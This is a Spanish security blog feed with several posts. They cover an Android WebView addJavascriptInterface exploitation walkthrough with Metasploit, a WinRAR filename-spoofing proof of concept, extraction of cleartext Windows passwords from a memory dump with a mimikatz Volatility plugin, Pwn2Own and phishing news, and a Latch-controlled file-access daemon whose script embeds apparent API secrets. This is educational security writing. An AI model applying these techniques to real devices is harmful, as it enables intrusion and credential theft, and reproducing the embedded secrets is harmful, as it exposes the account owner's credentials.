            Después de unas horas "cuzarreando" pude comprobar que la noticia es realmente inquietante... ver como hay una vulnerabilidad crítica que lleva tres meses sin que los fabricantes le hayan puesto remedio me pone los pelos de punta, olisqueando por la red vimos que tan solo unas pocas versiones tienen solucionado el bug.

            Veamos!!....

            WebView es un componente esencial en Android y iOS. Permite a las aplicaciones mostrar el contenido de los recursos online, simplifica la tarea de realizar una solicitud de red, parsea los datos y los muestra.Para la prueba vamos a tomar un dispositivo Android 4.1 y nos vamos a dirigir a una URL donde podemos probar si nuestro dispositivo es vulnerable:

            http://www.droidsec.org/tests/addjsif/
            Al parecer nuestro sistema es vulnerable...
            Y sigo leyendo:

            "La vulnerabilidad fue anunciada en Diciembre del 2013  por un grupo chino en wooyun.org (en inglés http://en.wooyun.org/) y afecta a WebView, un componente del API de programación de Android que permite incrustar una vista web en cualquier aplicación. Dicho componente expone un método que permite hacer un puente entre código Javascript (ejecutado desde la página web) hacia Java. En principio no todas las aplicaciones exponen dicho método, pero es común y son numerosas las que si lo hacen. El resultado es que se pueden exponer objetos Java para usarlos desde Javascript y a través de ellos ejecutar código arbitrario en el sistema. Existe un detallado análisis técnico disponible."

            Antes de echarle un ojo al análisis técnico vamos a probar el módulo de Metasploit:
             
            En algunos sistemas tendremos algún problema con el PATH, pero nada que no podamos solucionar:
             

            El módulo de Metasploit, como era de esperar, funciona a la perfección: ahora tenemos abierta una shell en el dispositivo.. ¿Y si por un casual el dispositivo estuviese rooteado?

            Dejando esa pregunta en el aire pasamos a ver un poco más de cerca de qué va la vulnerabilidad...


            Bueno después de leer el análisis técnico creo que me han quedado un par de cosas claras:

            Android a través de WebView.addJavascriptInterface dispone de un método java para registrar un objeto de llamada y mejorar la función de javascript. Pero el sistema no limita la llamada al método. Un atacante puede utilizar una llamada Java como mecanismo reflejo no registrado, lo que resulta en un aumento de la capacidad javascript a capacidad infinita. Un atacante que aprovechara esta vulnerabilidad podría hacer lo que quisiera sobre el cliente.

            Para dejar más claro cómo funciona vamos a hacer una aplicación vulnerable siguiendo los caminos facilitados por los chicos de labs.mwrinfosecurity.com (no nos sería necesario puesto en Google Play hay muchísimas, pero así espero no herir sensibilidades ....y que no nos manden mensajes con amenazas de demanda......XD ).

            Para ello utilizaremos Eclipse...

            Crearemos una nuevo proyecto llamado POC...


            AndroidManifest.xml

            pastebin code

            MainActivity.java

            pastebin code

            Con esto y la información proporcionada en labs.mwrinfosecurity.comya tenemos lista nuestra aplicación vulnerable para proseguir con nuestras pruebas.


            Ahora pasamos a la segunda parte de nuestra prueba de concepto, hemos visto que es posible atacar esta vulnerabilidad desde una pagina publicada en Internet, vamos pues a abusar....

            Creamos el htmlpoc.html:


            Ya tan sólo nos queda visitar la pagina lo cual nos creará un archivo de texto en nuestro directorio /mnt/sdcard/:

            Podríamos ser mas dañinos, podríamos borrar archivos, abrir una conexión con nc (que a ver qué hace nc en android), y un largo etc.... y todo eso de forma transparente para el cliente.....

            Hemos podido ver que realmente el agujero existe y para las versiones inferiores a 4.2 hay que tenerlo muy en cuenta...

            un saludo,

               Manuel 

            sed buenos :P

            pd. Me querría despedir con una reflexión personal que nada tiene que ver con el tema ni con el blog: Srs. Políticos..... NO LES DA VERGÜENZA?? que vamos a tener que hacer, el mapa más de España más grande.......?

            mapa casos de corrupción 2014

            Lo que nos dejó Pwn2Own 2014

            $
            0
            0

            Los días 12 y 13 de marzo se celebró una nueva edición del Pwn2Own, el  concurso donde expertos en seguridad  descubren  vulnerabilidades para los principales navegadores en diferentes sistemas operativos y plugins. Los participantes se llevan importantes premios económicos.

            Como muchos ya sabéis, Pwn2Own es el evento anual que desde 2007 aglutina a los mejores investigadores de seguridad y donde se ponen a prueba los navegadores web más populares en diferentes sistemas operativos, así como aplicaciones populares : Adobe Reader, Flash y Java.....

             
            Pwn2Own, que este año a tenido lugar en la ciudad canadiense de Vancouver, está patrocinado por la empresa Zero Day Initiative (ZDI) de HP, una compañía que se encarga de poner en contacto a investigadores de seguridad y compañías de software para garantizar una publicación coordinada de vulnerabilidades.   
             
            En esta edición las metas fueron:

            Navegadores:
            Google Chrome en Windows 8.1 x64: $ 100,000 USD
            Microsoft Internet Explorer 11 en Windows 8.1 x64: $ 100,000 USD
            Mozilla Firefox 8.1 en Windows x64: $ 50,000 USD
            Apple Safari en OS X Mavericks: $ 65,000 USD

            Plug-ins:
            Adobe Reader que se ejecuta en Internet Explorer 11 en Windows 8.1 x64: $ 75,000 USD
            Adobe Flash en Internet Explorer 11 en Windows 8.1 x64: $ 75,000 USD
            Oracle Java que se ejecuta en Internet Explorer 11 en Windows 8.1 x64 (requiere derivación de click-through): $ 30,000 USD


            Durante el trascurso de esta edición:
             
            El Navegador Internet Explorer de Microsoft fue explotado con éxito, el 12 de marzo por la firma de investigación de seguridad VUPEN y luego otra vez el 13 de marzo por los investigadores de seguridad Sebastian Apelt y Andreas Schmidt. Apelt y Schmidt explotaron un par de fallos de memoria de uso después de liberación de explotar IE.

            Flash fue comprometido los dos días del evento Pwn2Own por el equipo VUPEN y el equipo chino Keen.

            El equipo Keen también explotó Safari y fue el único grupo de seguridad en hacerlo. El grupo fue capaz de ejecutar un desbordamiento de heap de memoria, junto con un sandbox bypass para explotar el navegador web de Apple, logrando asi lanzar la Calculadora como root en Mac OS X ....O_o.


            Mientras que los navegadores Web IE, Chrome y Safari fueron todos atacados y explotados en Pwn2Own, el navegador más explotado en el evento en términos del número total de nuevos ataques de Zero day fue Mozilla Firefox.
              
            El gran triunfador de la primera jornada fue la  firma de investigación francesa VUPEN, que ha logró gran parte de los 400.000 dólares (286.000 euros) que se otorgaron.
             
            En el primer día del evento, Firefox fue explotado en tres ocasiones diferentes. En el segundo día fue explotado una vez más, con lo que la cifra total fue de cuatro.

            Mozilla tiene un historial de parcheo rápido con los Zeroday expuestos en eventos como Pwn2Own. ¿A qué velocidad va Mozilla parchear las cuatro fallas de día cero primero presentados en Pwn2Own 2014?

            Sid Stamm, gerente de ingeniería de alto nivel de seguridad y privacidad de Mozilla, dijo a eWEEK que la empresa cree que el riesgo de que los usuarios sean comprometidos por los cuatro bug expuestos es bajo ya que no son conocidos públicamente. Y "estamos trabajando rápidamente para hacer frente a cada uno de estos bugs y esperamos entregar las soluciones de la próxima semana", dijo Stamm.

            HP cuenta con una política de divulgación responsable en la que los errores descubiertos en Pwn2Own se comunicarán de inmediato a los vendedores y los detalles no se liberan públicamente. Estamos seguros de que los usuarios de Firefox no tendrán que esperar mucho tiempo para una actualización.

            Mozilla ha tenido su propio programa de recompensas de errores de seguridad del navegador desde 2004 para mantener a los usuarios de Firefox a salvo.

            En cuanto a por qué Firefox es el navegador más explotado en el evento de 2014 Pw2Own el dinero probablemente juega un papel clave.

            "Pwn2Own ofrece grandes incentivos financieros a los investigadores para exponer las vulnerabilidades y puede haber contribuido en parte a la decisión de los investigadores de esperar hasta ahora para compartir su trabajo y ayudar a proteger a los usuarios de Firefox", dijo Stamm. "Mozilla también ofrece recompensas financieras en nuestro programa de recompensas de errores, y el éxito de este programa ha inspirado a otras empresas a seguir su ejemplo."

            En resumen los grandes ganadores de esta edición han sido los franceses VUPEN que han amasado nada más y nada menos que 400.000 dólares explotando Internet Explorer 11, Adobe Reader XI, Google Chrome, Adobe Flash, y Mozilla Firefox en Windows 8.1 64 bits, y usando un total de 11 vulnerabilidades de tipo zero-day ¡¡¡distintas!!!

             
            Y este año también resaltar una mención especial a Liang Chen de Keen Team y Zeguang Zhao de team509 por comprometer Apple Safari en Mac OS X Mavericks y Adobe Flash en Windows 8.1, consiguiendo también la nada despreciable cifra de 140.000 dólares.

            Blackhash: audita passwords sin hashes!

            $
            0
            0
            Imagina que necesitas realizar una auditoría de las contraseñas de tu sistema y tienes que facilitar los hashes a un equipo auditor externo. Este equipo debe determinar que usuarios están usando contraseñas débiles y normalmente lo hace mediante ataques de diccionario con herramientas de cracking como John the Ripper o Hashcat. 

            Pero, ¿te tienes que fiar completamente del equipo auditor? ¿y si pierden los hashes o los copian y distribuyen sin tu consentimiento?

            Ya no es necesario que seas tan confiado, con la herramienta Blackhash es posible aplicar un filtro Bloom a los hashes de las contraseñas de tal manera que el auditor sólo recibirá una ristra de unos y ceros.

            e14a04e980097ede599cac94358e1028 -> 00000100000001000100001

            Y ahora seguro que te estarás preguntando qué demonios es un filtro Bloom... pues se trata de una estructura de datos probabilística creada en 1970 por Burton Howard Bloom que básicamente calcula el hash de la contraseña con varias funciones para obtener un vector de bits. Luego por cada palabra del diccionario se vuelven a calcular las mismas funciones hash y se compara el vector de bits: si no coincide definitivamente no es la contraseña, si coincide PUEDE que sea... XD



            Está claro que contra más funciones de hash tendremos menos falsos positivos aunque el tiempo de proceso será mayor por lo que, como casi siempre, hay que intentar buscar un equilibrio.

            Cuando el equipo auditor reciba las contraseñas filtradas, podrá buscar contraseñas débiles con Blackhash y nos remitirá el filtro para que identifiquemos a los usuarios y les notifiquemos para que cambien su contraseña. Funciona con cualquier función simple de hash como LM, NT, MD5, SHA1, etc. eso sí SIN SALT y, lo más importante, en ningún momento los hashes de nuestras contraseñas habrán salido de nuestro sistema. ¿Genial verdad?.

            El proceso normal sería el siguiente:

            1. El administrador del sistema crea un filtro de sus hashes de sistema y lo envía al auditor:

                  bh system_nt_hashes.txt system_nt.filter create
                 
            2. El auditor prueba hashes débiles conocidos contra el filtro:

                  bh top_100_nt_hashes.txt system_nt.filter test > weak_hashes.txt
                 
            3. El auditor crea un filtro débil y lo envía de vuelta al administrador del sistema:

                  bh weak_hashes.txt weak.filter create
                 
            4. El administrador del sistema utiliza el filtro débil para identificar las cuentas con contraseñas débiles:

                  bh system_nt_hashes.txt weak.filter test
             

            Sitio:http://16s.us/software/Blackhash/blackhash.txt
            Fuente: Blackhash_0.2.tar.gz
            Windows: bh.exe

            Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

            $
            0
            0
            El phishing es un ciberdelito reconocido hoy en día e incluso Google no está a salvo de este fraude. Phishing es típicamente un correo electrónico fraudulento que se hace pasar por legítimo para recopilar información confidencial de los usuarios. Los spammers utilizan técnicas avanzadas para conseguir que los usuarios hagan clic en los enlaces de phishing mientras que revisan su correo. Recientemente, los investigadores de Symantec han encontrado un fraude de phishing sofisticado dirigido a los usuarios de Google Docs y Google Drive.


            Los hackers utilizan la palabra "documentos" en el asunto de un correo electrónico y piden al usuario comprobar un importante documento en Google Docs con un clic en el enlace incluido. El enlace va a una página de inicio de sesión falsa de Google Docs, donde el usuario tiene que proporcionar un nombre de usuario y contraseña.

            La página falsa está alojada en el servidor de Google y se cifra con SSL para hacer que parezca más real. El fraude fue hecho haciendo una carpeta en Google Drive firmada como pública, subiendo un archivo, y utiliza la función de vista previa de Google Drive en Docs. Tan pronto como los usuarios introduzcan información de inicio de sesión sobre dicha página y pulsen el botón "sign-in", se ejecutará un script PHP en un servidor web comprometido que recogerá las credenciales del usuario.


            Algunos datos Phishing:

            Si nos fijamos en los años anteriores podemos ver un aumento dramático en los fraudes de phishing. Según el informe de EMC, en el último año 2013, se realizaron casi 450.000 ataques de phishing y, como resultado, se produjo una pérdida estimada de más de 5,9 mil millones. Los estafadores (scammers) utilizan diferentes técnicas de phishing como ataques tipo bouncer, ataques precisos, envío masivo de correo y email bombers.




            En 2013, los principales países destinatarios fueron los EE.UU. y Canadá con el 63%, mientras que Europa, Oriente Medio y África se quedó con el 28% del volumen de phishing. La región de Asia Pacífico, Japón y Oceanía fueron del 7% y en América Latina se mantuvo con un 4% en volumen de phishing.



            Los principales países que fueron influenciados por phishing en 2013 fueron EE.UU., Reino Unido, Alemania, India, Sudáfrica, Canadá, Países Bajos, Colombia, Australia y Brasil. Si nos fijamos en la pérdida que se produjo debido a los fraudes de phishing en los diferentes países, Reino Unido se mantuvo en la cima con $467 millones , mientras que Alemania se situó en segunda posición con $386 millones.

             
            Countries
            Phishing Volume
            Estimated Loss
            UK
            31%
            $467 millions
            Germany
            25%
            $386 millions
            South Africa
            15%
            $222 millions
            India
            54%
            $225 millions
            Australia
            21%
            $87 millions
            China
            14%
            $59 millions
            Colombia
            43%
            $95 millions
            Brazil
            39%
            $86 millions
            Mexico
            8%
            $19 millions

            Algunas precauciones sencillas para mantenerse alejado de ataques de phishing:


            • No haga clic en vínculos desconocidos, ya que le pueden redirigir a una página web falsa para recoger sus credenciales.
            • Preferiblemente escriba la dirección URL en lugar de hacer clic en cualquier enlace recibido por correo.
            • Si se le está pidiendo información de su tarjeta de crédito o cualquier información financiera, compruebe la autenticidad de la página web con HTTPS y el icono de candado.
            • Siempre verifique su cuenta bancaria y de tarjetas de crédito con regularidad para observar cualquier transacción sospechosa.
            • Utilice un filtro de phishing y software anti-virus que puede protegerle contra el malware.


            English Version:

            Phishing is a renowned cyber crime nowadays and even Google is not secure from a phishing fraud. Phishing is typically a fraudulent email pretends to be legitimate to gather confidential information from users. Spammers use advanced proficiencies to lure them to click on phishing links, while users check their mail. Recently, a sophisticated phishing fraud came across by Symantec researchers targeted at Google Docs and Google Drive users.




            Hackers use “documents” word as the subject of an email and requests users to check the important document on Google Docs with a click on the included link. The link goes to Google Docs fake login page where the user has to provide a username and password.

            The fake page was hosted on Google’s server and it was encrypted with SSL to make the page appeared real. The fraud was done by making a folder in Google Drive account signed as a public, uploaded a file, and used Google Drive’s preview function of Docs. As soon as users enter information on such login page and press “sign-in” button, a compromised web server run on PHP script will collect user’s credentials.


            Some Phishing Facts:


            If we look at the previous years, we can see a dramatic increase in phishing frauds. According to EMC report, in the last year 2013, there were almost 450,000 phishing attacks done, and as a result, the estimated loss occurred was more than $5.9 billion. Scammers use different techniques of phishing like bouncer attack, laser-precision attack, mass mailing, and email bombers.




            In 2013, the major targeted countries were the USA and Canada with 63%, while Europe, Middle East, and Africa remained with 28% in phishing volume. The Asia Pacific, Japan, and Oceania were at 7% and Latin America remained with 4% in phishing volume.


            Top countries were influenced by phishing in 2013 were USA, UK, Germany, India, South Africa, Canada, Netherlands, Colombia, Australia, and Brazil. If we look at loss occurred due to phishing frauds in different countries, then UK remained on top with $467 millions, while Germany stood on second position with $386 millions.


            Countries
            Phishing Volume
            Estimated Loss
            UK
            31%
            $467 millions
            Germany
            25%
            $386 millions
            South Africa
            15%
            $222 millions
            India
            54%
            $225 millions
            Australia
            21%
            $87 millions
            China
            14%
            $59 millions
            Colombia
            43%
            $95 millions
            Brazil
            39%
            $86 millions
            Mexico
            8%
            $19 millions

            Simple Precautions that keep you away from Phishing attacks:


            •    Do not click on unknown links, as it may redirect you to a fake web page to collect your credentials.
            •    Prefer to type the URL instead of clicking any link received in the mail.
            •    If you are being asked to provide credit card or any financial information, check the authenticity of website with HTTPS and a padlock icon.
            •    Always check your bank account and credit card statements regularly for any suspicious transactions.
            •    Use a phishing filter and anti-virus software that can protect you from malware. 


            About Author 

            Abel Wike is a head of fraud prevention team at ClickSSL.com. She enjoys the challenges of creativity and attention to detail. Advance Technology has always a source of wonder for her, sparking her research, to extend her sympathetic and knowledge of this earliest progress. In so doing she has focused with a deeper insight into various technologies. Follow her on Facebook, Twitter& LinkedIn

            Cierra la lista Full Disclosure :(

            $
            0
            0
            otro paso más para el fin de la transparencia...
            Hola amigos, hoy es un día en parte triste por el anuncio de que Full Disclosure ha sido suspendida. 

            Full Disclosure ha sido una de las mejores listas de seguridadmoderadas donde se descubrían vulnerabilidades y se debatían y divulgaban temas de seguridad informática. Hospedada y patrocinada por Secunia, fue fundada el 9 de julio de 2002 por Len Rose y era administrada John Cartwright. Precisamente éste último ha anunciado hoy su cese del servicio. Aquí les dejo mi traducción con sus razones:

            "Administrivia: El Fin
            From: John Cartwright
            Date: Wed, 19 Mar 2014 10:30:15 +0000


            Hola,

            Cuando Len y yo creamos la lista Full-Disclosure allá por julio de 2002, sabíamos que en el camino íbamos a encontrar bastantes problemas legales.
            Teníamos razón. Hasta la fecha hemos tenido todo tipo de peticiones para borrar cosas, solicitudes para no borrar cosas, y una variedad de amenazas legales tanto válidas como no. Sin embargo, siempre asumí que lo que nos haría cambiar sería una petición de eliminación de información a gran escala de algún fabricante o alguna otra excepción.

            Nunca me imaginé que la solicitud pudiera venir de un investigador dentro de la 'comunidad' en sí (y utilizo esa palabra de forma poco precisa en tiempos modernos). Pero hoy, después de haber pasado una buena cantidad de tiempo tratando las quejas de un individuo en particular (del que no diré su nombre) me di cuenta de que ya ha terminado. La lista ha tenido su parte justa de trolling, flooding, furry porn, falsos exploits y ataques DoS en los últimos años, pero ninguna de estas cosas afectaron realmente la integridad de la propia lista.
            Sin embargo, pasar un hacha virtual a los archivos de la lista por el capricho de un individuo no sienta bien. Ese 'uno de los nuestros' haría
            socavar los esfuerzos de los últimos 12 años y es realmente la gota que colma el vaso.

            No estoy dispuesto a luchar esta lucha por más tiempo. Es cada vez más duro operar un foro abierto en el clima legal actual, y mucho más un
            uno relacionado con la seguridad . No hay más honor entre los hackers. No existe una verdadera comunidad . Hay poco skill valioso. El juego de la seguridad está cada vez más regulado . Esto es toda una señal de lo que vendrá , y una reflexión sobre el triste estado de una industria que nunca debería haberse convertido en una industria.

            Suspendo el servicio por tiempo indefinido. Gracias por participar.

            Saludos,
            - John
            "

            Demonizando Latch para proteger archivos con dos llaves

            $
            0
            0
            Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys"para ilustrar esta entrada....

            Imaginemos que tenemos un servidor dispuesto para nuestros usuarios. Tenemos cierto archivo o carpeta que tiene que estar disponible para dos usuarios en concreto; el cual no puede ser leído o modificado sin el permiso de ambos.

            Sería genial que ambos usuarios pudiesen tener el control sobre este hecho, como si se tratase de un cofre el cual necesita dos llaves (podrían ser más) para ser abierto, sin ni siquiera tener un acceso físico a la máquina, es decir,  que puedan decidirlo por control remoto desde su smartphone y así tener el control total sobre el acceso a dicho archivo o carpeta...

            Esta situación es posible si miramos las posibilidades que nos brindaLATCH (de paso les agradezco a 11paths el juguetico que me hace pasar unas horas muy entretenido) y hacemos un apañejo, o chapucilla a la espera de que implementen algo parecido (que seguro que lo han pensado).

            Pues bueno vamos a ver como lo hacemos y al tiempo aprenderemos a hacer nuestros propios demonios en Linux.

            Lo primero sería dar dos usuarios de alta en Latch, para así disponer de "las llaves" para nuestro cofre (una para cada uno). Lo haremos en latch.elevenpaths.com.

            No me entretendré en este proceso por no alargar la entrada, si queréis verlo detenidamente echar un ojo a esta otro post crear cuenta latch.

            Una vez hecho ésto pasaremos a registrar ambas cuentas en el sistema con el siguiente script , tambien tenemos descrito el proceso en la entrada anterior en la parte de emparejar nuestra cuenta. Como es obvio, lo haremos una vez por cada id de aplicación y su correspondiente secreto y en distintos archivos (latch-llave1.account y latch-llave2.account). Con ésto ya tenemos nuestras "2 llaves":


            Liberando nuestro demonio

            "Un demonio, daemon o dæmon (de sus siglas en inglés Disk And Execution MONitor), es un tipo especial de proceso informático no interactivo, es decir, que se ejecuta en segundo plano en vez de ser controlado directamente por el usuario. Este tipo de programas se ejecutan de forma continua (infinita), vale decir, que aunque se intente cerrar o matar el proceso, este continuará en ejecución o se reiniciará automáticamente. Todo esto sin intervención de terceros y sin dependencia de consola alguna.” (Wikipedia)

            En este caso vamos a utilizar un demonio sencillo en System V, pero no olvidemos que lo podemos complicar tanto como queramos...
            #NUESTRO DEMONIO
            #!/bin/sh
            PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
            DAEMON=/bin/daemonkeeper #Ruta a nuestro fichero a ejecutar
            DAEMON_OPTS=''
            NAME=daemonlatch #nombre de nuestro demonio
            DESC=keeper_of_seven_keys
            PIDFILE="/var/run/${NAME}.pid" #Donde se guarda el pid del proceso
            QUIET="--quiet"
            START_OPTS="--start ${QUIET} --background --make-pidfile --pidfile ${PIDFILE} --exec ${DAEMON} ${DAEMON_OPTS}"
            STOP_OPTS="--stop --pidfile ${PIDFILE}"
            OWNER=root #el dueño del proceso
            LOGDIR=/var/log/${NAME} #donde guardaremos nuestros logs

            test -x $DAEMON || exit 0

            # SI NO EXISTE EL DIRECTORIO LOG, LO CREAMOS
            if [ ! -d "$LOGDIR" ]; then
            mkdir -m 750 $LOGDIR
            chown $OWNER:$OWNER $LOGDIR
            fi

            set -e

            case "$1" in
            start)
            echo -n "Starting $DESC: "
            start-stop-daemon $START_OPTS
            echo "$NAME."
            ;;
            stop)
            echo -n "Stopping $DESC: "
            start-stop-daemon $STOP_OPTS
            echo "$NAME."
            rm $PIDFILE
            ;;
            restart|force-reload)
            echo -n "Restarting $DESC: "
            start-stop-daemon $STOP_OPTS
            sleep 1
            start-stop-daemon $START_OPTS
            echo "$NAME."
            ;;
            *)
            N=/etc/init.d/$NAME
            echo "Usage: $N {start|stop|restart|force-reload}">&2
            exit 1
            ;;
            esac

            exit 0

            Guardaremos esta parte del demonio en /etc/init.d/ y le cambiaremos los permisos a 700. De manera que solo sea root quien pueda leer, escribir y ejecutar el archivo.

            También crearemos el archivo pid en /var/run:
            #chmod 700 daemonlatch 
            #touch /var/run/daemonlatch.pid

            Esta parte será la encargada del control; con la cual podremos parar, arrancar o re arrancar el demonio:
            /etc/init.d/nombre del demonio /start/stop/restart

            Ahora pasaremos a la segunda parte del demonio que llamaremos thekeeper que será la que se encargará de ver el estado de cada llave en el servidor de latch, de manera que si las dos llaves están activadas el archivo o carpeta se podrá leer, modificar,etc. según convengamos, o de lo contrario no se podrá:
            #!/bin/bash
            cofre=/home/manuel/importante.gpg
            applicationId2="571a1Wfq8jnspoxk66pm"
            secretkey2="rX2eZoqoBu6P1xWWwHVJNW15ErrlVgRcEqbtARF3"
            LATCH2="/home/LATCH/latch-llave2.account"
            account2=`grep "^$USER:" $LATCH2 |cut -d: -f2`
            logs="/var/log/daemonlatch/daemonlatch.log"
            ##COMPROBAMOS LLAVE2
            if [ -z `echo "$account2"|cut -d: -f2` ]; then exit 0; fi
            URL="/api/0.6/status/$account2"
            requestSIgnature+="GET\n"
            date2=`date -u '+%Y-%m-%d %H:%M:%S'`
            requestSIgnature+="$date2\n\n$URL"
            signed=`echo -en "$requestSIgnature" | openssl dgst -sha1 -hmac "$secretkey2" -binary|sed -e 's|.*= \(.*\)|\1|g'`
            b64signed=`echo -n "$signed"|base64`
            auth_header="Authorization: 11PATHS $applicationId2 $b64signed"
            date_header="X-11Paths-Date: $date2"
            JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header""https://latch.elevenpaths.com$URL"`
            status2=`echo -e "$JSON" | sed -e 's|.*status":"\(.*\)","name.*|\1|g'`
            echo $status2

            ##COMPROBAMOS LLAVE1

            applicationId="JXM2krpxLzNxi41Ru0oe"
            secretkey="SeTQQo4OzyJ02T2SB9q6qPAA8lNyWkUcA4NZdNiI"
            LATCH="/home/LATCH/latch-llave1.account"
            account=`grep "^$USER:" $LATCH |cut -d: -f2`
            if [ -z `echo "$account"|cut -d: -f2` ]; then exit 0; fi
            URL="/api/0.6/status/$account"
            requestSignature+="GET\n"
            date=`date -u '+%Y-%m-%d %H:%M:%S'`
            requestSignature+="$date\n\n$URL"
            signed=`echo -en "$requestSignature" | openssl dgst -sha1 -hmac "$secretkey" -binary|sed -e 's|.*= \(.*\)|\1|g'`
            b64signed=`echo -n "$signed"|base64`
            auth_header="Authorization: 11PATHS $applicationId $b64signed"
            date_header="X-11Paths-Date: $date"
            JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header""https://latch.elevenpaths.com$URL"`
            status=`echo -e "$JSON" | sed -e 's|.*status":"\(.*\)","name.*|\1|g'`
            echo $status
            if [ "$status" == "on" ] && [ "$status2" == "on" ]; then
            date >>$logs
            echo -e "cofre abierto ">> $logs
            chmod 777 $cofre
            elif [ "$status" == "off" ] && [ "$status2" == "off" ]; then
            echo -e "cofre cerrado">> $logs
            chmod 000 $cofre
            elif [ "$status" == "off" ] && [ "$status2" == "on" ]; then
            echo -e "cofre cerrado">> $logs
            chmod 000 $cofre
            elif [ "$status" == "on" ] && [ "$status2" == "off" ]; then
            echo -e "cofre cerrado">> $logs
            echo 000 $cofre
            else
            echo -e "Error de LATCH. Intenta de nuevo\n">>$logs
            echo 000 $cofre
            fi

            Por último haremos la tercera parte de nuestro demonio que llamaremos daemonkeeper, la colocaremos en el directorio /bin y le daremos permisos 700.

            Con esta parte lo que se controlará es el tiempo que pasará entre chequear el estado de las llaves, en este caso será 30 seg..
            #!/bin/bash
            date >>/var/log/daemonlatch/daemonlatch.log
            echo "demonio arrancado">> /var/log/daemonlatch/daemonlatch.log
            while true
            do
            sleep 30
            /bin/thekeeper
            done
            Una vez creado nuestro demonio vamos a asignarle los niveles de ejecución o Runlevels.

            Tenemos varios niveles de ejecución, y cada uno de ellos nos proporciona unas funcionalidades diferentes, y un entorno de trabajo distinto. 

            La definición de cada runlevel la encontramos en el fichero /etc/inittab. En mi caso son los siguientes DEBIAN WHEEZY:

            # Runlevel 0 is halt.
            # Runlevel 1 is single-user.
            # Runlevels 2-5 are multi-user.
            # Runlevel 6 is reboot.

            Para saber en qué nivel de ejecución estamos actualmente podemos utilizar el comando runlevel. Para iniciar o parar un demonio al entrar en un runlevel simplemente tenemos que crear un enlace simbólico en el directorio correspondiente al runlevel en el que queremos iniciar/parar el demonio. Los directorios con los enlaces a los scripts de los demonios son los de /etc/rcX.d/ donde X se corresponde con el número de runlevel. Así, por ejemplo, en el directorio /etc/rc5.d/ tenemos los enlaces a los scripts de los demonios que se iniciarán/pararán al entrar en el runlevel 5. Ahora que ya sabemos dónde hemos de colocar nuestros enlaces ya podemos crearlos. 

            Es muy importante el nombre que le damos a los enlaces ya que de él depende si el demonio se inicia o se para y el orden en que se inicia/para. La sintaxis que se sigue en el nombre del enlace es la siguiente: S (para iniciar el demonio apuntado por el enlace) K (para parar el demonio apuntado por el enlace) y luego el orden en que se ejecutará; que puede ir desde 00 hasta 99 (siendo 00 la máxima prioridad). Además puede haber varios con la misma prioridad. 

            Bueno al tajo!! Ahora para crear los enlaces simbólicos debemos hacerlo en los runlevels adecuados. Para iniciar en el runlevel 5 (multiusuario gráfico) y 3 (multiusuario) y para pararlo en el runlevel 6 (reinicio) y 0 (apagado). Lo hacemos con el comando ln de la siguiente manera:

            ln -s /etc/init.d/daemonlatch /etc/rc5.d/S30daemonlatch
            ln -s /etc/init.d/daemonlatch /etc/rc3.d/S30daemonlatch
            ln -s /etc/init.d/daemonlatch /etc/rc6.d/K05daemonlatch
            ln -s /etc/init.d/daemonlatch /etc/rc0.d/K05daemonlatch


            Ya tenemos listo nuestro demonio!!!

            Tan solo nos queda probarlo. Para ello simularemos que uno de los usuarios crea un archivo cifrado que se llamará 'importante' en su /home (igual lo podemos hacer con una carpeta)
            $touch /home/manuel/importante
            $gpg -c /home/manuel/importante


            $rm /home/importante

            Esto creará importante.gpg del cual ambos usuarios tendrán la clave.

            Arrancamos el demonio:

            #/etc/ini.d/daemonlatch start

            Cada cierto tiempo (el que hayamos estimado en el archivo daemonkeeper) nuestro demonio conectará con el servidor de LATCH consultando el estado de las llaves...

            En cuanto uno de los dos usuarios que tienen las llaves en su poder bloquee su llave en LATCH, el archivo deja de estar disponible para nadie... y no estará accesible hasta que ambos lo decidan...

            Con esto hemos conseguido que estos usuarios tengan un archivo mancomunado y pleno control en el acceso, les hemos dado una capa nueva de protección...

            Podríamos hacer esto más complejo y elegante, como por ejemplo llevar un sistema de log mas pensado, hacer un fichero de configuración para el demonio y que recoja las variables de él, etc, etc....

            Un saludo y sed buenos...

            Falsificación de extensiones de ficheros en WinRAR (0-day)

            $
            0
            0
            Hace poco se mostraba en un blog israelí una vulnerabilidad 0-day en la versión 4.20 de WinRAR (otras versiones podrían verse también afectadas) con la que es posible engañar muy fácilmente a un usuario para que ejecute por ejemplo... un troyano. Además es sumamente sencilla de explotar...

            Para nuestra PoC empezaremos creando un simple vbs 'pruebas.vbs':


            MsgBox("PWNED! jajaj")

            y lo comprimiremos creando el fichero 'pruebas.zip':

             
            Cuando tratamos de comprimir el archivo en "formato ZIP" con WinRAR, la estructura de archivos es la estándar pero WinRAR añade varias propiedades adicionales, como un segundo nombre de archivo:



            ¿Qué pasa si modificamos ese nombre con nuestro editor hexadecimal por algo más "sugerente" como 'tetazas.jpg'?:



            Veamos el resultado:



            Al abrir el fichero comprimido nos muestra aparentemente una imagen, pero al hacer doble clic en ella se ejecutará nuestro script, es decir, hemos falsificado el nombre y la extensión del fichero comprimido ... con lo que todo ello supone...

            Portaros bien!

            Plugin mimikatz offline para Volatility

            $
            0
            0
            Hace tiempo estuvimos probando un extensión de Mimikatz para WinDBG con la que podíamos extraer las contraseñas de Windows en claro desde un volcado de memoria, es decir, de modo totalmente off-line. Ahora podemos hacerlo también directamente desde Volatility gracias a un plugin que ha creado Francesco Picasso de Zena Forensics.

            Para probarlo empezaremos obteniendo un volcado de memoria de la máquina de la víctima. En esta ocasión lo haremos mediante Belkasoft Love RAM Capturer, una pequeña herramienta gratuita para obtener el contenido completo de la memoria volatil que incluso incluye medidas contra sistemas anti-debugging y anti-dumping.

             

            Ahora actualizamos el repositorio de Zena Forensic, al que bautizaron hotoloti (git clone https://code.google.com/p/hotoloti/) o descargamos directamente el script en Python mimikatz.py y después lo copiamos en la carpeta de plugins de Volatility.


            Probablemente al ejecutar Volatility con este plugin tendrás que instalar algún módulo adicional de Python, en mi caso pycrypto, construct y six.


            Finalmente lo ejecutamos y... voilà!

            D:\Python27\Scripts>vol.py --profile=Win7SP0x64 -f d:\hotoloti\20140326.mem mimikatz
            Volatility Foundation Volatility Framework 2.3.1
            WARNING : volatility.obj      : NoneObject as string: Invalid offset 4526360 for
             dereferencing Buffer as String
            WARNING : volatility.plugins.mimikatz: [Credential:decrypt_epwd] unicode decode
            error
            Module   User             Domain           Password

